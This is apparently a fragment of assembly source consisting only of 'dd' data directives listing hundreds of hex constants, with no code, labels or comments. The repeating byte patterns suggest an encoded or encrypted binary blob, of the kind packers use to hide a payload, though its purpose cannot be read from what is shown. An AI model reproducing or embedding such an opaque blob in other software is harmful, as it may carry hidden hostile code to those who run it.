		dd 58912393h, 938C8D1Dh, 1D80A123h, 659D8C8Dh, 1599751Fh
		dd 93539D5Bh, 93A6902Ah, 1EA0A123h, 731F8C8Dh, 9365A59Fh
		dd 9C9C7B19h, 0F091179Ch, 1F8C8D1Eh, 5B159975h,	2A93539Dh
		dd 2393A690h, 8D1C70A1h, 88A19F8Ch, 1F8C8D1Dh, 65A59E73h
		dd 9C221993h, 91179C9Ch, 8C8D1DF8h, 15985D1Fh, 93539D5Bh
		dd 17A6902Ah, 8D1D2CA1h, 9B731F8Ch, 199365A5h, 9C9C9C00h
		dd 1C5C9117h, 919F8C8Dh, 8C8D1D64h, 9D9B751Fh, 982A9354h
		dd 3C89179Eh, 9F8C8D1Dh, 8D1ECC89h, 9E761F8Ch, 0E8E94CA5h
		dd 72E81917h, 0C9176363h, 0A8DE9F64h, 7C7C1915h, 0DE176360h
		dd 3C199FA8h, 17636373h, 9B768C9h, 63636B2Ch, 19154C9Dh
		dd 63607C40h, 90992393h, 1F8C8D1Eh, 19B7635Ch, 63607C40h
		dd 7C7C199Fh, 89176360h, 8C8D1DA8h, 1DB4899Fh, 761F8C8Dh
		dd 154CB597h, 607C4419h, 0A8A11763h, 178C8D1Dh,	911768C9h
		dd 8C8D1C04h, 9F569DD5h, 5D1560C9h, 7C26D015h, 9368D917h
		dd 1D708923h, 9158C8Dh,	63607C7Ch, 1560D117h, 607C4011h
		dd 0A8A11763h, 9D8C8D1Dh, 96731F4Bh, 669D5E15h,	8D882A93h
		dd 1DD4A117h, 0A19F8C8Dh, 8C8D1C00h, 0A592731Fh, 94199366h
		dd 939C9C9Dh, 1D348923h, 899F8C8Dh, 8C8D1C48h, 1599761Fh
		dd 934B9D5Bh, 17A5882Ah, 8D1E84A1h, 66A5D38Ch, 9C7D1993h
		dd 89179C9Ch, 8C8D1E80h, 159F5E1Fh, 934B9D5Bh, 17A5882Ah
		dd 8D1E98A1h, 9F731F8Ch, 199366A5h, 9C9C9C23h, 1D4C8917h
		dd 23938C8Dh, 8D1EF4A1h, 1F669D8Ch, 5B159E76h, 2A934B9Dh
		dd 2393A588h, 8D1D08A1h, 7C11178Ch, 9D63607Ch, 1F651553h
		dd 56A59675h, 9C151993h, 9179C9Ch, 63607C40h, 9E982A93h
		dd 1DD08917h, 5E1D8C8Dh, 9C9C9C7Eh, 0F3E94CA5h,	0B768D917h
		dd 636B2C19h, 3C199F63h, 17636373h, 0DE9F64C9h,	441915A8h
		dd 1763607Ch, 6372EC19h, 48191563h, 9363607Ch, 1D148923h
		dd 91178C8Dh, 8C8D1DA0h, 6D96C811h, 7C4409B7h, 4C9D6360h
		dd 1D848917h, 761F8C8Dh, 154CB599h, 607C4C19h, 84A11763h
		dd 178C8D1Eh, 239368C9h, 8D1DBC91h, 9E751F8Ch, 0C99F569Dh
		dd 155D1560h, 636026D0h, 191768D9h, 63636B2Ch, 0C56C999Fh
		dd 0D9A58C95h, 0F91E9368h, 63636361h, 63730C29h, 0D4896363h
		dd 638C95D6h, 191194E9h, 6363721Dh, 388963CCh, 1F8C9DBDh
		dd 0D9179458h, 1F5D1594h, 1CDC6354h, 0E99C9DA0h, 0B8191565h
		dd 9363607Dh, 1E908923h, 5E1F8C8Dh, 5A4CB59Eh, 721D9918h
		dd 17EA6363h, 607DB819h, 0AC891763h, 9F8C8D1Dh,	8D1D7889h
		dd 9B761F8Ch, 185A4CB5h, 63721D99h, 4C3DEE63h, 178C8D1Dh
		dd 607DB809h, 9D5D1563h, 1F54155Dh, 5EB59F74h, 1D89185Ah
		dd 0F5636372h, 78992393h, 938C8D1Ch, 1EB88923h,	4C9D8C8Dh
		dd 0CC9E741Fh, 1C20A963h, 9EF68C8Dh, 8D1D0C3Dh,	9A741F8Ch
		dd 1DA43DCCh, 741F8C8Dh, 9CF4CC9Fh, 11DC9C9Ch, 63721D19h
		dd 8963CC63h, 8C8DF084h, 730C1915h, 23936363h, 8D1C7899h
		dd 1911CC8Ch, 63607DBCh, 6CE963CCh, 6360E963h, 63730C29h
		dd 80896363h, 638C8DECh, 896360E9h, 8C9DB950h, 730C2963h
		dd 89636363h, 8C95D6D4h, 0E9639CF6h, 1D191194h,	0CC636372h
		dd 0AAD88963h, 19118C95h, 6363721Dh, 908963CCh,	248C9C6Ch
		dd 9C9C9C9Dh, 0E9638B77h, 50896360h, 638C9DB9h,	63730C29h
		dd 0D4896363h, 0AD8C95D6h, 0C7C2C35Ch, 15C95F55h, 0DC701F79h
		dd 17CBCACFh, 0C83D94E9h, 158C8D1Dh, 58A19F5Bh,	1F8C8D1Ch
		dd 92778C73h, 7F4D6715h, 0E28817FAh, 81C815FAh,	2393DB5Ch
		dd 8D1DEC99h, 4C89178Ch, 118C8D1Dh, 0A5808CD8h,	1141EE5Bh
		dd 0CACC5CD9h, 9CD0CC74h, 94581F9Ch, 55C7C2C3h,	7915C95Fh
		dd 17CBCACFh, 0E91790E1h, 0EDDCF48Ch, 63CB8C8Dh, 91C6A089h
		dd 0E95C958Ch, 6B8F4BCh, 63CB8C8Dh, 91C6A089h, 0E95C958Ch
		dd 698F48Ch, 63CB8C8Dh,	91C6A089h, 0E85C958Ch, 94D9178Ch
		dd 0AA639A15h, 0CF638417h, 775CAD98h, 9923938Dh, 8C8D1D1Ch
		dd 159E741Fh, 0DC9E249Ah, 0C2C31C9Ch, 905EC1C7h, 7915C99Ch
		dd 9EF0701Dh, 11CB9C9Ch, 63610519h, 0A74CC63h, 119C9CB3h
		dd 63626019h, 9C3DCC63h, 1F8C8D1Eh, 3DCC9F74h, 8C8D1ED4h
		dd 50892393h, 9D8C8D1Dh, 96741F4Ch, 3D80F6CCh, 8C8D1DD4h
		dd 0CC9B741Fh, 0B69C8963h, 99118C99h, 8C9C8519h, 91C6803Fh
		dd 0AE99118Ch, 3F8C9CD3h, 8C99B578h, 8D0CA1F4h,	0DDA748Ch
		dd 0A1176363h, 8C8D1D10h, 9F985B1Fh, 8D1D68A1h,	2111CB8Ch
		dd 63636260h, 0ACF4CCCBh, 638C95D5h, 91C6B489h,	937CF48Ch
		dd 33748C9Dh, 74636352h, 6363165Ah, 0D5AC9911h,	483F8C95h
		dd 0F48C9D93h, 8C8D0CB6h, 630C6374h, 0A0A96363h, 118C8D1Dh
		dd 63626021h, 0F4CCCB63h, 8C9DBC3Ch, 0C6B48963h, 87F48C91h
		dd 748C8D0Ch, 63630C40h, 1D94A117h, 0A19F8C8Dh,	8C8D1D24h
		dd 52111CBh, 0CB636361h, 62602111h, 0CCCB6363h,	95AFACF4h
		dd 0B489638Ch, 118C91C6h, 9C851999h, 0AD7C3F8Ch, 99118C99h
		dd 8C95A9DCh, 9C6C803Fh, 1999118Ch, 3F8C9C85h, 8C9D9C88h
		dd 0B3D59911h, 0E83F8C9Ch, 118C8DC7h, 9CF5CE99h, 0AE6C3F8Ch
		dd 99118C99h, 8C9DBC3Ch, 95D5BC3Fh, 0C94F48Ch, 0F5748C8Dh
		dd 1763630Ch, 8D1D00A1h, 9E5B1F8Ch, 602111CBh, 0CB636362h
		dd 0A9DCF4CCh, 89638C95h, 8C91C6B4h, 8D1C403Dh,	9E5C1F8Ch
		dd 0BC892393h, 9D8C8D1Eh, 9CF4CC4Ch, 748C99AFh,	9C9CD665h
		dd 9C0770F4h, 0D81748Ch, 0FBF46363h, 748C9C0Bh,	63630D8Fh
		dd 9C7E3CF4h, 0D95748Ch, 99116363h, 8C8DC6ECh, 8D1E403Fh
		dd 9923938Ch, 8C8D1DF4h, 3F9A5C1Fh, 8C9DB94Ch, 8D1D743Dh
		dd 8923938Ch, 8C8D1D54h, 741F4C9Dh, 1911CC91h, 63636161h
		dd 3C8374CCh, 581F6363h, 1E843DE4h, 201C8C8Dh, 63616099h
		dd 0A2E9F863h, 62192293h, 17636361h, 8D1D4889h,	8B5E1F8Ch
		dd 19144CB5h, 63636104h, 4192A93h, 0CC636361h, 8D1DF03Dh
		dd 95741F8Ch, 388C74CCh, 581F6363h, 99239394h, 8C8D1DECh
		dd 0B94C3FD4h, 23938C9Dh, 8D1D0899h, 0A4999F8Ch, 1C8C8D1Eh
		dd 61719920h, 0E9FB6363h, 1DB43DD1h, 23938C8Dh,	8D1D0889h
		dd 9D5D158Ch, 6ECD114Dh, 9C990814h, 11636362h, 63616219h
		dd 8963CC63h, 8C9D9C80h, 61081915h, 0F03D6363h,	1F8C8D1Dh
		dd 4C3F9574h, 638C9DB9h, 63610829h, 0C6ECF463h,	8D748C8Dh
		dd 1F9C9CBEh, 55C39058h, 7915C95Fh, 9D98701Dh, 0CBCA9C9Ch
		dd 3D90E117h, 8C8D1D88h, 1C9E741Fh, 0E8B29BA0h,	94E963D9h
		dd 62601911h, 63CC6363h, 9DBD3889h, 0C9FF48Ch, 71748C8Dh
		dd 0CC636312h, 62602911h, 63CA6363h, 9C6CB089h,	1911CB8Ch
		dd 63636260h, 0B08963CCh, 118C9C6Ch, 63626019h,	4C74CC63h
		dd 1F636345h, 0C2C3BC58h, 0F4CB5F55h, 8C8D136Fh, 63122F74h
		dd 63CCC563h, 9DB90489h, 1E0C3F8Ch, 0A43D8C8Dh,	9F8C8D1Dh
		dd 8D1ED899h, 96741F8Ch, 1E0C99A7h, 8BE98C8Dh, 8D137FF4h
		dd 121A748Ch, 0CCC56363h, 0AF848963h, 0C3F8C99h, 0F48C8D1Eh
		dd 8C8D134Dh, 6312F374h, 0A963CC63h, 8C8D1E0Ch,	0BD308963h
		dd 903F8C9Dh, 0F48C9D9Ch, 8C8D135Eh, 6312CF74h,	0A963CC63h
		dd 8C8D1E0Ch, 0BD308963h
		dd 0D43F8C9Dh, 0F48C9C6Ch, 8C8D132Eh, 6312AB74h, 0A963CC63h
		dd 8C8D1E0Ch, 0BD308963h, 0B83F8C9Dh, 0F48C95AFh, 8C8D133Dh
		dd 63128774h, 0A963CC63h, 8C8D1E0Ch, 0BD308963h, 0A83F8C9Dh
		dd 0F48C8DECh, 8C8D130Dh, 63116374h, 88581F63h,	0CA963CCh
		dd 638C8D1Eh, 9DBD3089h, 0EDC83F8Ch, 5FC38C8Dh,	131FF4CBh
		dd 41748C8Dh, 0C5636311h, 48963CCh, 3F8C9DB9h, 8C8D1E18h
		dd 8D1DAC3Dh, 8923938Ch, 8C8D1EBCh, 741F4C9Dh, 1899A598h
		dd 0E98C8D1Eh, 13E9F48Bh, 31748C8Dh, 0C5636311h, 848963CCh
		dd 3F8C99AFh, 8C8D1E18h, 8D13F4F4h, 110A748Ch, 74CC6363h
		dd 636311E4h, 9C6C983Fh, 13C8F48Ch, 1D748C8Dh, 0CC636311h
		dd 6311FF74h, 9C843F63h, 0DAF48C9Dh, 748C8D13h,	636311F0h
		dd 11D274CCh, 0C43F6363h, 0F48C8DC6h, 8C8D13B3h, 6311CB74h
		dd 0A574CC63h, 3F636311h, 8C9DB938h, 8D1382F4h,	11DE748Ch
		dd 74CC6363h, 636311B8h, 8DC6CC3Fh, 1393F48Ch, 0B1748C8Dh
		dd 0CC636311h, 63119374h, 0AAD43F63h, 61F48C95h, 748C8D12h
		dd 63631184h, 106674CCh, 0C3F6363h, 0F48C9DBCh,	8C8D1271h
		dd 63119F74h, 7974CC63h, 3F636310h, 8C9C6C84h, 8D1240F4h
		dd 1072748Ch, 74CC6363h, 6363104Ch, 9D934C3Fh, 1254F48Ch
		dd 45748C8Dh, 0CC636310h, 63102774h, 0C09C3F63h, 2AF48C8Dh
		dd 748C8D12h, 63631058h, 103A74CCh, 543F6363h, 0F48C9DB9h
		dd 8C8D1239h, 63103374h, 0D74CC63h, 3F636310h, 8C99AD74h
		dd 8D1213F4h, 1006748Ch, 74CC6363h, 636310E0h, 9D9C8C3Fh
		dd 12E2F48Ch, 19748C8Dh, 0CC636310h, 6310FB74h,	0C6AC3F63h
		dd 0F0F48C91h, 748C8D12h, 636310ECh, 10CE74CCh,	303F6363h
		dd 0F48C9DB9h, 8C8D12C5h, 6310C774h, 0A174CC63h, 3F636310h
		dd 8C95D6A0h, 8D12D1F4h, 10DA748Ch, 74CC6363h, 636310B4h
		dd 99B5603Fh, 12A2F48Ch, 0AD748C8Dh, 0CC636310h, 63108F74h
		dd 0C6A43F63h, 0B7F48C91h, 748C8D12h, 63631080h, 176274CCh
		dd 603F6363h, 0F48C95C5h, 8C8D1283h, 63109B74h,	7574CC63h
		dd 3F636317h, 8C95C564h, 8D1291F4h, 176E748Ch, 74CC6363h
		dd 63631748h, 8DC6C83Fh, 1167F48Ch, 41748C8Dh, 0CC636317h
		dd 63172374h, 0ECA43F63h, 75F48C8Dh, 748C8D11h,	63631754h
		dd 173674CCh, 843F6363h, 0F48C95C6h, 8C8D1147h,	63172F74h
		dd 974CC63h, 1D636317h,	9C9C5C58h, 9C9C3F9Ch, 5FC38C9Dh
		dd 17CBCACFh, 178CB8E8h, 1588B8E0h, 4F6F1565h, 8923937Fh
		dd 8C8D1D20h, 0B8912393h, 118C8D1Eh, 158596C8h,	1565B54Dh
		dd 95744F6Ch, 0C344155Fh, 0C95FC7C2h, 701F7915h, 0CBCACF90h
		dd 1590D917h, 63541F5Dh, 9DA01CDCh, 1565E99Ch, 1C343D5Ah
		dd 741F8C8Dh, 64D91594h, 1194D917h, 63541F94h, 9DA01CDCh
		dd 1565E99Ch, 0CC3D68D9h, 1F8C8D1Eh, 0D9159E74h, 3DCE7760h
		dd 8C8D1C5Ch, 0C8892393h, 158C8D1Eh, 1F4F9D5Fh,	0A1179577h
		dd 8C8D1D04h, 779F731Fh, 9F6415B1h, 0C91760D9h,	98229394h
		dd 90C9179Eh, 0A6882293h, 86E94CA5h, 0E96FA5DFh, 64D9638Ch
		dd 0A58CD917h, 99E964D9h, 7760D917h, 6BA5DB89h,	0D96353EEh
		dd 68D91760h, 0EE60D9A5h, 6363243Ah, 0C2C39C9Ch, 0C95F55C7h
		dd 0CCCD7915h, 17CBCACFh, 0E91790C1h, 1F44158Ch, 9F259E5Ch
		dd 269C9C9Ch, 36363637h, 764D7E6Bh, 1560C915h, 9E7B5D4Bh
		dd 0D688C917h, 9BEA4BA5h, 9D755CADh, 0F49C9C9Dh, 8C8D110Bh
		dd 63161F74h, 0F4CCC563h, 8C8DECDCh, 9CCBE374h,	0CAA9779Ch
		dd 7494E963h, 9C9CDE9Dh, 9394581Fh, 1E909923h, 0E8118C8Dh
		dd 0C43D98ACh, 1F8C8D1Dh, 5FB59E5Ch, 8D1D683Dh,	0B4999F8Ch
		dd 1F8C8D1Dh, 0D99F9574h, 94D91594h, 0C8992393h, 1F8C8D1Eh
		dd 5FA59974h, 239321EFh, 8D1DB099h, 4999F8Ch, 1F8C8D1Dh
		dd 5FA59474h, 9FF6E7EAh, 8D1D743Dh, 7C999F8Ch, 1F8C8D1Ch
		dd 11CC9474h, 63CC65D9h, 95D6A889h, 0E963CF8Ch,	65D91194h
		dd 888963CCh, 0CA8C95D5h, 0CC65D911h, 9CDD1C74h, 0BC581F9Ch
		dd 8D1ED83Dh, 8923938Ch, 8C8D1DDCh, 741F4C9Dh, 9A985A95h
		dd 992393A1h, 8C8D1C50h, 0A598741Fh, 938BE944h,	1E8C9923h
		dd 23938C8Dh, 8D1EBC89h, 1F4C9D8Ch, 985A9E74h, 7C3DA19Ah
		dd 1F8C8D1Dh, 0A8119974h, 9923939Ah, 8C8D1DBCh,	179F741Fh
		dd 8D1C5C89h, 8814D68Ch, 0DC5CAD9Ah, 55C7C2C3h,	7915C95Fh
		dd 17CBCACFh, 0C1178CE9h, 7763AD88h, 218817B8h,	8C9DB57Ch
		dd 6C948915h, 0E9638C9Ch, 8519F484h, 0CACF8C9Ch, 6390E963h
		dd 896394E9h, 8C9C6C94h, 20A1A7DBh, 0EE8C8D1Eh,	0C7C2C348h
		dd 1FF45FC1h, 748C8D11h, 636315A0h, 494074CCh, 43F6363h
		dd 0F48C9DB9h, 8C8D11E8h, 6315BB74h, 5B74CC63h,	3F636349h
		dd 8C95D6D4h, 8D11F8F4h, 158E748Ch, 74CC6363h, 6363492Eh
		dd 99AF843Fh, 11CAF48Ch, 61748C8Dh, 0CC636314h,	63490174h
		dd 0BC581F63h, 95D6A43Fh, 15C95F8Ch, 6CA42479h,	55749C9Eh
		dd 0CF9C9CC9h, 2393CBCAh, 8D1D1CA1h, 54A19F8Ch,	0F58C8D1Ch
		dd 9C9F5C63h, 0D4A9179Ch, 1D8C8D1Eh, 9C76C55Ah,	8123939Ch
		dd 8C8D1DC0h, 6B9D429Dh, 21157B4Dh, 63619354h, 0C98F74CBh
		dd 581F9C9Ch, 4A191598h, 93636393h, 9394D92Ah, 1D1C8923h
		dd 0A5D68C8Dh, 0F4BFE94Ch, 8C8D11D7h, 63141F74h, 98581F63h
		dd 402111CCh, 0CB63638Dh, 0C6B48963h, 581F8C91h, 9D237594h
		dd 89639C9Ch, 8C99AE6Ch, 1145F15h, 63639349h, 8D11B5F4h
		dd 14CE748Ch, 581F6363h, 2111CC98h, 63639342h, 388963CBh
		dd 1F8C9DBDh, 0C43D9458h, 0DC8C8D1Eh, 94C92A93h, 0C6E94CA5h
		dd 8D1D183Dh, 0E8999F8Ch, 1F8C8D1Dh, 63B99E74h,	0CC9C9C9Ch
		dd 8C411911h, 63CC6363h, 75748CE9h, 1F9C9CB8h, 89F49058h
		dd 748C8D11h, 6363149Ch, 9398581Fh, 9349212Ah, 11CB6363h
		dd 638C4121h, 2111CB63h, 63639342h, 2111CCCBh, 63638D40h
		dd 0B48963CBh, 1F8C91C6h, 2A938858h, 891794D9h,	8C8D1D84h
		dd 1D6C899Fh, 761F8C8Dh, 934CA58Eh, 9C9D8C19h, 1C743D9Ch
		dd 741F8C8Dh, 9C63B99Bh, 11CC9C9Ch, 638C4119h, 0A963CC63h
		dd 8C8D1E40h, 9CB8EB74h, 90581F9Ch, 8D1052F4h, 1B12748Ch
		dd 581F6363h, 0BCE11798h, 158CE917h, 0CF6F9D67h, 0B4812393h
		dd 1F8C8D1Eh, 63CF9F5Fh, 63CBB8E9h, 2A9380E9h, 63934921h
		dd 6B15CB63h, 1788E1B7h, 8D1DB4A9h, 6CA99F8Ch, 1F8C8D1Dh
		dd 6BB59072h, 0AF9CF4CBh, 0E9638C99h, 0B4E96384h, 8C412111h
		dd 11CB6363h, 63934221h, 11CCCB63h, 638D4021h, 8963CB63h
		dd 8C91C6B4h, 3DA4581Fh, 8C8D1DB4h, 0B4892393h,	9D8C8D1Eh
		dd 90741F4Ch, 0E984D9A5h, 1C643DF8h, 999F8C8Dh,	8C8D1C4Ch
		dd 0A594741Fh, 0CDE9BCD9h, 8D1036F4h, 1A6E748Ch, 581F6363h
		dd 0C08CF498h, 0A9638C8Dh, 8C8D1C38h, 11B4E963h, 638C4121h
		dd 2111CB63h, 63639342h, 2111CCCBh, 63619351h, 0B48963CBh
		dd 1F8C91C6h, 19118058h, 63619351h, 401911CCh, 0CC63638Dh
		dd 6CB08963h, 581F8C9Ch, 54296394h, 63636193h, 63934A29h
		dd 1EC43D63h, 446B8C8Dh, 401911CCh, 0CC63638Dh,	8D1DA43Dh
		dd 9F741F8Ch, 639CF6CCh, 91C6A889h, 100CF48Ch, 22748C8Dh
		dd 1F636314h, 63CC9858h, 9D9C9089h, 4C19158Ch, 63636393h
		dd 63934A29h, 90896363h, 158C9D9Ch, 63935019h, 2963CC63h
		dd 6363934Ch, 0CC90D917h
		dd 0F638417h, 9C9C9D98h, 93502963h, 89636363h, 8C8DECA8h
		dd 934C2963h, 89636363h, 8C8DECA8h, 93203911h, 0C2C36361h
		dd 0C95F55C7h, 701F7915h, 0CBCACF8Ch, 0CC60D911h, 7494E963h
		dd 63632041h, 1594581Fh, 9923935Ah, 8C8D1D20h, 0F4892393h
		dd 9D8C8D1Dh, 95741F4Ch, 9BE95AA5h, 2F755CADh, 179C9C9Ch
		dd 8D1DE8A1h, 9F5B1F8Ch, 1590D917h, 63541F5Dh, 9DA01CDCh
		dd 1565E99Ch, 901164D9h, 63541FA2h, 9DA01CDCh, 1565E99Ch
		dd 8CC1B75Fh, 0E964C1A7h, 6CD95BC4h, 9C9C9C9Dh,	8C992393h
		dd 938C8D1Dh, 1C088923h, 4C9D8C8Dh, 1598741Fh, 0BE7768D9h
		dd 1568D917h, 8CC99F66h, 2A935E9Dh, 0D1178A88h,	98229390h
		dd 0E85EA59Dh, 6CF91F9Ah, 6394779Ch, 0C1A568D9h, 1F45EE68h
		dd 0E89C6CE1h, 8963CA90h, 8C9DB950h, 77DC5CADh,	93439DB5h
		dd 1C3C9923h, 999F8C8Dh, 8C8D1ED0h, 9D9B741Fh, 8CE19F5Bh
		dd 9360E1A7h, 6363ED1Eh, 8963CA63h, 8C9DB950h, 0C2C35CADh
		dd 0C95F55C7h, 23937915h, 8D1EFC99h, 95741F8Ch,	0CE69F4CCh
		dd 683D8C9Ch, 1F8C8D1Ch, 63CC9E74h, 9D9C8C89h, 9923938Ch
		dd 8C8D1D14h, 0CC99741Fh, 0C6B88963h, 77C58C91h, 985EC151h
		dd 7915C99Ch, 9880701Dh, 0CACF9C9Ch, 1C543DCBh,	5A158C8Dh
		dd 1D00A99Fh, 721F8C8Dh, 1785779Bh, 8D1ED889h, 0D0899F8Ch
		dd 1F8C8D1Eh, 466B9776h, 9C290815h, 0DA636360h,	8D1EA43Dh
		dd 9C6B998Ch, 5AA59C9Ch, 0C11745EEh, 99239390h,	8C8D1D8Ch
		dd 641915D4h, 17636367h, 8D1D4889h, 815E1F8Ch, 1EA4899Fh
		dd 23938C8Dh, 8D1D3091h, 1C483D8Ch, 0D0118C8Dh,	1015AE9Dh
		dd 63609C09h, 8CD91763h, 1915449Dh, 63636760h, 0C0892393h
		dd 938C8D1Dh, 1EF49123h, 0C8118C8Dh, 2393B996h,	8D1D9891h
		dd 9923938Ch, 8C8D1EDCh, 0A49DD011h, 9C091015h,	93636360h
		dd 1EBC9923h, 5B158C8Dh, 1D9CA19Fh, 77D38C8Dh, 892393AAh
		dd 8C8D1DD8h, 0DCA6C811h, 9C092015h, 93636360h,	1DBC8923h
		dd 5E1F8C8Dh, 9D6515C2h, 8923934Dh, 8C8D1DC0h, 158B5E1Fh
		dd 154C9D64h, 609C1118h, 3DDB6363h, 8C8D1D9Ch, 9F865C1Fh
		dd 8D1C2099h, 0EE5BA58Ch, 1EC43D24h, 999F8C8Dh,	8C8D1C00h
		dd 1594741Fh, 63676819h, 0CCA11763h, 1F8C8D1Dh,	8277B05Bh
		dd 1C408917h, 23938C8Dh, 8D1D0891h, 1F569D8Ch, 65159676h
		dd 10154D9Dh, 63609C21h, 6C3DDB63h, 1F8C8D1Dh, 5BA5AD5Ch
		dd 43D4AEEh, 158C8D1Dh,	48A99F5Ah, 1F8C8D1Ch, 0E1179672h
		dd 9DAA7594h, 22939C9Ch, 9E7E5D8Bh, 9C892817h, 3D636360h
		dd 8C8D1DACh, 6B9E741Fh, 935AA544h, 9C9D8A18h, 6419179Ch
		dd 95636367h, 9E10935Ch, 1F9C9C9Dh, 13939F64h, 9C9C9C65h
		dd 0B819B863h, 638C8D18h, 63676419h, 9C7B7563h,	9179C9Ch
		dd 63636768h, 1E9C9117h, 15D58C8Dh, 157C4F4Ch, 63677419h
		dd 1F6E1563h, 9117AC7Eh, 8C8D1D4Ch, 1D88919Fh, 15D58C8Dh
		dd 17644F4Ch, 63677409h, 145E9563h, 63676F09h, 64196363h
		dd 15636367h, 916DF44h,	6363676Fh, 0A758C14h, 179C9C9Ch
		dd 63676809h, 937E1F63h, 1D749117h, 751F8C8Dh, 4F4C159Fh
		dd 7819157Ch, 15636367h, 0A07E1F6Eh, 58912393h,	9F8C8D1Dh
		dd 8D1D4891h, 92751F8Ch, 644F4C15h, 67780917h, 5E956363h
		dd 676F0914h, 19636363h, 63636764h, 16DF4415h, 63676F09h
		dd 778C1463h, 680917DCh, 1F636367h, 23939F7Eh, 8D1D5091h
		dd 4F4C158Ch, 955E157Ch, 6F09146Eh, 15636367h, 916DF44h
		dd 6363676Fh, 643D8C14h, 938C8D1Dh, 1C6C8923h, 4C9D8C8Dh
		dd 1596741Fh, 63676419h, 68291563h, 0DB636367h,	0E89CA31Ch
		dd 6001A790h, 93636367h, 6362251Eh, 9B229363h, 1D248917h
		dd 761F8C8Dh, 0E94CA59Bh, 0B744159Bh, 9B7790D9h, 8D1E843Dh
		dd 0C3446B8Ch, 5F55C7C2h, 1D7915C9h, 9C98D470h,	0CBCACF9Ch
		dd 60231911h, 93CC6363h, 1EE89923h, 999F8C8Dh, 8C8D1D84h
		dd 0CC96741Fh, 8D1DCC3Dh, 0C0999F8Ch, 1F8C8D1Eh, 0F6CC9574h
		dd 99239380h, 8C8D1D70h, 14892393h, 9D8C8D1Dh, 94741F4Ch
		dd 9C8963CCh, 118C99B6h, 63602319h, 1911CC63h, 63636727h
		dd 388963CCh, 0F48C9DBDh, 8C8D101Eh, 631D3374h,	911CC63h
		dd 63636727h, 0B08963CEh, 1F8C9C6Ch, 19118858h,	6363625Eh
		dd 271911CCh, 0CC636367h, 0AFB48963h, 5F158C95h, 8D1C003Dh
		dd 695C1F8Ch, 1DA4999Fh, 44A58C8Dh, 9C591893h, 19119C9Ch
		dd 63636272h, 231911CCh, 0CC636360h, 636EA074h,	94581F63h
		dd 11DA6AADh, 63625E19h, 63CFCC63h, 9D935489h, 955A158Ch
		dd 0CF95E96Ah, 0B9208963h, 86778C9Dh, 62721911h, 11CC6363h
		dd 63602319h, 9A74CC63h, 1F63636Eh, 6A959458h, 283D55E9h
		dd 938C8D1Ch, 1C788923h, 4C9D8C8Dh, 88892393h, 1F8C8D1Eh
		dd 88149F76h, 8DC09099h, 1D443D8Ch, 5B158C8Dh, 1DCCA19Fh
		dd 731F8C8Dh, 0F4A07797h, 8C8D10E4h, 631C7B74h,	21A86363h
		dd 8C95C6BCh, 0BC21A863h, 0CC8C99AFh, 615F0911h, 63CE6363h
		dd 91C6B489h, 5F19118Ch, 0CC636361h, 8DC08CF4h,	0B089638Ch
		dd 1F8C9C6Ch, 0A7DB8058h, 8D1E20A1h, 0C320EE8Ch, 5F55C7C2h
		dd 747915C9h, 63631D6Eh, 8D1E983Dh, 4824998Ch, 23939C9Dh
		dd 8D1D2089h, 0CC4C9D8Ch, 0C6B88963h, 77C58C91h, 985EC142h
		dd 2393CB9Ch, 8D1D1CA1h, 9E731F8Ch, 23938477h, 8D1D5899h
		dd 10999F8Ch, 1F8C8D1Dh, 98149B74h, 8DEDDCA1h, 2393DB8Ch
		dd 8D1D1C99h, 925C1F8Ch, 46EE5BA5h, 8D1D403Dh, 0AC89178Ch
		dd 1D8C8D1Eh, 9C9C2E5Eh, 145E9D9Ch, 0EDA39988h,	23938C8Dh
		dd 8D1EBC99h, 8923938Ch, 8C8D1C50h, 1C4C9117h, 0C8118C8Dh
		dd 8814A196h, 8DEDD299h, 0C95FC38Ch, 701F7915h,	17CBCA90h
		dd 0AEF494E1h, 0FB8C9C51h, 9CAA63F8h, 15F8FB9Ch, 0F49C9CBAh
		dd 8C8D10ECh, 63E37774h, 0CCAB6363h, 0CA6AE911h, 0C6B48963h
		dd 581F8C91h, 639CF68Ch, 6AD911ABh, 0D42B74CCh,	23939C9Ch
		dd 8D1E9099h, 9C999F8Ch, 0CC8C8D1Dh, 0C6B88963h, 581F8C91h
		dd 0C346778Ch, 985E55C2h, 7915C99Ch, 9C8C9C24h,	0D016749Ch
		dd 0CACF9C9Ch, 1D183DCBh, 999F8C8Dh, 8C8D1DACh,	0CC97741Fh
		dd 6C9D1911h, 74CC6363h, 63630F66h, 3D94581Fh, 8C8D1D64h
		dd 0A19F5B15h, 8C8D1D5Ch, 779B731Fh, 0A1201C80h, 63636C9Dh
		dd 938DE9BFh, 1C089923h, 741F8C8Dh, 0A118149Fh,	63636C9Dh
		dd 63631DDBh, 0EE9C9C93h, 9D291140h, 0F463636Ch, 8C8D10F0h
		dd 63E3A774h, 937CF463h, 23938C9Dh, 8D1EA881h, 98771F8Ch
		dd 6C8117CFh, 1F8C8D1Dh, 0CCCF9577h, 1DE48117h,	771F8C8Dh
		dd 8117CF9Fh, 8C8D1DD4h, 1C60819Fh, 771F8C8Dh, 63CACF95h
		dd 811794E9h, 8C8D1DB4h, 1D99771Fh, 9C9C637Fh, 6374CF9Ch
		dd 1F636369h, 6D15B458h, 0DC63541Fh, 9C9DA01Ch,	891765E9h
		dd 8C8D1DE8h, 1DE0899Fh, 761F8C8Dh, 115E9D99h, 43D8AA8h
		dd 1F8C8D1Dh, 22939F74h, 89179A98h, 8C8D1D90h, 0A595761Fh
		dd 0F419934Ch, 0C3636363h, 5F55C7C2h, 0CD7915C9h, 17CBCACFh
		dd 0D91794E9h, 0D915FA84h, 99239384h, 8C8D1EFCh, 4C99A5DCh
		dd 0EF8C9DB9h, 1D6C3D91h, 741F8C8Dh, 0B94C3F95h, 0A1178C9Dh
		dd 8C8D1D74h, 779B731Fh, 21801190h, 8C9D8C7Ch, 8DE86FA5h
		dd 992393DBh, 8C8D1E8Ch, 9C9F7999h, 0EE5BA59Ch,	1DF83D78h
		dd 74998C8Dh, 0A59C9C9Fh
		dd 0AD9BE964h, 9D15755Ch, 0A9179C9Ch, 8C8D1E94h, 1C48A99Fh
		dd 721F8C8Dh, 802B9394h, 99B68CE1h, 0E942A58Ch,	982A93ACh
		dd 9DBD2CA1h, 0A863CC8Ch, 9D9CBC21h, 0B488748Ch, 581F9C9Ch
		dd 0A9239394h, 8C8D1C08h, 159F721Fh, 8C7C21A8h,	5CAD8C9Dh
		dd 9C9DA275h, 0B4A9179Ch, 1D8C8D1Dh, 9C636B5Ah,	8123939Ch
		dd 8C8D1C2Ch, 2B93429Dh, 0B68CE180h, 42A58C99h,	9C6F1993h
